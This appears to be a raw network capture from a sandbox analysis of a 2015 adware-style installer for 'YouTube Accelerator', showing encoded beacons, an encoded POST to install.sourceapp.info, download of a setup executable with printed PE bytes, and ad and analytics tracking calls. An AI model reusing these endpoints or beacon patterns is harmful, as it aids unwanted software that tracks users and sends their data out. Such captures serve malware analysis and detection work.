Accept-Ranges: bytes

ETag: "804165638984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:29:18 GMT

Content-Length: 488
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:29:1
8 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............
<<< skipped >>>


GET /app/ping.ashx?e=043Mckb8LnjKYf/qJ5z9HztwOqvEtO32pfgKm0OEa/AyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiTfITdK7bydInc0foGk6e4/ZUJr/TCrDgTJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuRoXx06po689WLfeo/B59z4BlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:11 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:11 GMT..Content-Length: 0..


GET /mg?alpha=GHwbTD8MQCtGKW97NGYwJzVZXzpGbx9wf2NxRkthTXg2GnpbQ0w3IxJID04YNR4DEEdsA2hKfXYPV2JcaCt6RDsHClBXOD8pBExici80djBaYB0dYw55Ti0/bhIZEyMeLUdHOk0AGydRGj4HSm5Eah4ZQxgcLA1wRycKEWxMPzodRHZ U1U5QyULQ2hldm0jN11kC0AlA3pYZWE9HxgJLithIkUx HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info




HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 30 Jan 2015 01:28:52 GMT

Content-Length: 183972
uz6SoYXiSsP2qZ5Mr93arGbWqYruKc22zt8JxPGTtHPc88muF4Dd cEH7cDG zrXpb3jWv
axvPZ7g6jR/TCn3aKHLsyvxbs wfGulmOx3Y2nZ8isxb9uj53QnhTFt//sM4vikuQc14u3
pW7Y Ja0femlveIOqdCf8muY75noOrLipskuif7XrT3G8MLNaLWTxKw hqWR/GiDz4 JEt
W21KEk3O7U/Eia3/erOMfngfUihYyCxzXuv9XnaYelgbR5jciQsUmt0e ZJ8bmhZl6l5DZ
vWDLrLr4f6uxxpgS1rrK6Cyi2/S7F9KhqfNukrWStnTSoYfqFamxzfl9n6GPrD6m4aaGeI
Xp5bs wfHCzWChk9vlMMKvm/5uuYzBlBbFkMHoPJWlirgTzpS pW7X5ICgd9Wg67Eerf E
8iTRqNvvOKqz ZF lejO9imW/YTVNO3Pm tm3bCMvzHVpf6uN4L/i/0 iu S5FDxnqjgIs
rylrl5y7eV1yi /JTye4Dt7uE1t Wsly7Mr8W7PsHxrpZjsd2Np2fIrMW/bo d0J4Uxbf/
7DOL4pLkHNeLt6Vu2PiWtH3ppb3iDqnQn/JrmO Z6Dqy4qbJLon 1609xvDCzWi1k8SsPo
alkfxog8 PiRLVttShJNzu1PxIm9b3qzjH54H1IoWMgtgv7r/V52mHpYG0eY3osIxilOjB
tDPY57yrXaCN3qd11 LFv32WgcCYLsG zK9lkPLcsl6AgqP5Kd3jgbNOxqi87lr2/YL7ZN
/vxeEpvfSNhHiJ 9aZOtH3i9U0sp7buneI4oDub4CCx5lCmrXI4Sybq5K7CsOEr6t2yuWR
smWLv viHO6pzqUk0bna/j78q GtR7PakfZwxPWUnyzu3eSwYc2unfh5mYzZjjz8ktz5MK
zy3q1QjsWt6CDL8qq2dcLm8 UNoP/btW2LvcbtL7v1lYRgleiR4DzB IzbLLKQxap36qGd
9H2Srt2YA8vxk s kvTV8lDLlL/ I8zzxu1 xqi67lTu9o/2a4fvmfopq/S yXfC5Nf4aI
2nzNV6rY/S6yiGiKLOXNXBl40B1LuLt32t/sO3HNaCqect0uS4i0jVq6rPDaHj1bsqhazP
 z6Q8K6ALtrjxrY mLaFj36xnMOsdvKhhehu1dfbiAzM/4vrMIzk1ZAT1o6t7A/W8oe8Op
2iqOcLqb/V/nuXusz8P/yrpYRgk if DfM9YODLO6Lxbx32eySv2KTz4/EVIzx3fQvm6WK
/DrptIyrYJznhaNwhf7rxhGv4ZjkZ5W5/9IMt/ ninuT0e ZJ8bmhZl6gprFunvLrrXBXp
mE244Uwb/F0QO/6cS3Ps2AvOw nLvGoXnLsazFGaH21a1mhqHPonm76bOAb5To14wz2OGF
1TS6itulPoamhu9okqPUiQnWturlOp3skuQUw4uo7GCc/pezb8i2ralCqvKb5G3f78b2Or
3l4d94kvjWp37PtomTLO7Gj Uw0LmZ CnNz/22M/fxha8vn/PY/EiAlKL6OMnyhbxE
<<< skipped >>>

POST /mg?alpha=HnUrS1QFb0pJLlxNBGFbITxpWFFAVUdjJBsKFA== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 250

Host: install.sourceapp.info



alpha=HnUrS1RjNT5JQ3dJBGFbITxpWFFAZi93FGV4dkwKS3EGHRFdSnwwSBRBP0lzMxczFyxqClhNFnAGZ2U3biJKQ1ABA2BQUzkgNEsJdCYEcVtcaS0aCAhwfipUaBspFEgYJHdAUUsJKyA6HDc3TQVCYy4eKB4VHAobQS46FgdKNgoaL3B3Y1JSRSw7RANjf10kXFttO0dOBXNoYgo7FigfGV4pfl1NSgkpITsdNStFDUY/azg2BU85
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Fri, 30 Jan 2015 01:28:54 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Fri, 30 Jan 2015 01:28:54 GMT..Content-Length: 0.
.


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1289804

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 29 Jan 2015 08:48:51 GMT

Accept-Ranges: bytes

ETag: "f58be667a03bd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Range: bytes 0-1289803/1290756

X-Cache: Miss from cloudfront

Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gA__1dN5htM5kSOjeGRFMpibtg2oqoa-T_w9iS2Vgihk6Lo-HbT97A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=446105, public, no-transform, must-revalidate

Last-Modified: Wed, 28 Jan 2015 05:22:19 GMT

Expires: Wed, 4 Feb 2015 05:22:19 GMT

Date: Fri, 30 Jan 2015 01:32:02 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015012
8052219Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150128052219Z....20150204052219Z0...*.H........
......q._#...U...Z..0.^..E..Q&j.%^..{[o..:Cd...A..*eM.d.....C..R.S....
j......1..5.eB$ n.........q_C.<xs...f;z...m<..Q.....F..2.G..(.n.
&iMR.f...H...C.....XC<o.}y..........A....{................@..$1..D.
...a....Y.![f.0..[.,..K..e....d..ZrZ..3..;JP2.M'...........L....0...0.
..0..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....
VeriSign, Inc.1705..U....Class 3 Public Primary Certification Authorit
y0...141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec C
orporation1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3
 PCA - G1 OCSP Responder Certificate 30.."0...*.H.............0.......
...'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..
3-; ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T.
.pS.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]E..
.=._...... ........TE...Sa.s4........r...3.............0..0...U....0.0
l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.
. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U.....
...0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H........
.....$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......
a..D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,font>....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=535463, public, no-transform, must-revalidate

Last-Modified: Thu, 29 Jan 2015 06:12:33 GMT

Expires: Thu, 5 Feb 2015 06:12:33 GMT

Date: Fri, 30 Jan 2015 01:32:02 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015012
9061233Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150129061233Z....20150205061233Z0...*.H........
.......H `._pIsjnQ...........{ .........&t.26OO.....[........-u-.1G...
....Es.....P..B.K,a=a6..i8.!.f...l.-.] .....:..`.40H.'p....4g]sJ`.n$..
.._P.t.t....E..u...T7U..X..*y.o I.l..S...X..L<..&.....y.m.4. ZB.(.t
:0...5C%.x7..o.Z..._/.X]h:D.D^_...O....@.....$.m..95hu...#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...
<<< skipped >>>


GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:17 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Fri, 30 Jan 2015 01:35:05 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...K...K...^..<.!%.A..oT.....u.I. .<i.....e.`Q9..."...b.UV....
...{...V.sg(.....;`....5.1he.p.i..|..,..e...XS...7.z....y...R....#.@G&
gt;..\.A&....y.b\heAJ..}...o.W?.......N...Hi.{.9...~.xx:l....3....6S8j
.qD.0...._......m..:.l.....k$...._...t.........D....9.b....=)... ....]
{..Q9[..gK.H...E.....H7.&...#..f=...-...x.b...h.....<.....y(..O..$.
.?N..F$....Cy..b...........-z...................}.>.N.!.....Z..
<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default437&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:20 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT

ETag: W/"226cdf70832ad01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Fri, 30 Jan 2015
 01:29:20 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT..ET
ag: W/"226cdf70832ad01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....
8.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T
2....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../".......
..0..


GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/javascript; charset=utf-8

Content-Encoding: gzip

Expires: Sat, 31 Jan 2015 01:29:21 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Fri, 30 Jan 2015 01:29:20 GMT

Connection: close

Content-Length: 366
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y...HTTP/1.1 200 OK..Cache-Control: public.
.Content-Type: application/javascript; charset=utf-8..Content-Encoding
: gzip..Expires: Sat, 31 Jan 2015 01:29:21 GMT..Vary: Accept-Encoding.
.Server: Microsoft-IIS/8.0..X-AspNet-Version: 4.0.30319..Date: Fri, 30
 Jan 2015 01:29:20 GMT..Connection: close..Content-Length: 366........
.......`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{....{.
...;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....Z.u{.:
o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>.{....
..v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .......
. }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d...<
.............`...Ro..y.....


GET /pagead/viewthroughconversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4




HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Fri, 30 Jan 2015 01:29:20 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3661455964

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Fri, 30 Jan 2015 01:29:20 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoR
IQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&
u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=htt
p://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_
Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_b
r=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Wind
ows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID
=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&c
onvclickts=0&random=3661455964..Content-Type: image/gif..X-Content-Typ
e-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protection
: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..GIF89a...........
..!.......,...........D.;..
<<< skipped >>>


GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:29:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
4a..{"stats":"ok","time":"348.66 ms","message":"store 3 action and 5 u
pdate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 
2015 01:29:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-En
coding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-a
pi-version: v4..4a..{"stats":"ok","time":"348.66 ms","message":"store 
3 action and 5 update "}..0......



GET /p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf76FH7kvYlvRqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Q2kDNG4Y5RRgG4GuhQXFi0m_yyrYF4oHoHn6tGpPdp4cOcPigA3Hcg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:01 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 3abf650c7bf73e47515000bddf3f05
c0.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Q2kDNG4Y5RRgG4GuhQXFi0m_y
yrYF4oHoHn6tGpPdp4cOcPigA3Hcg==......


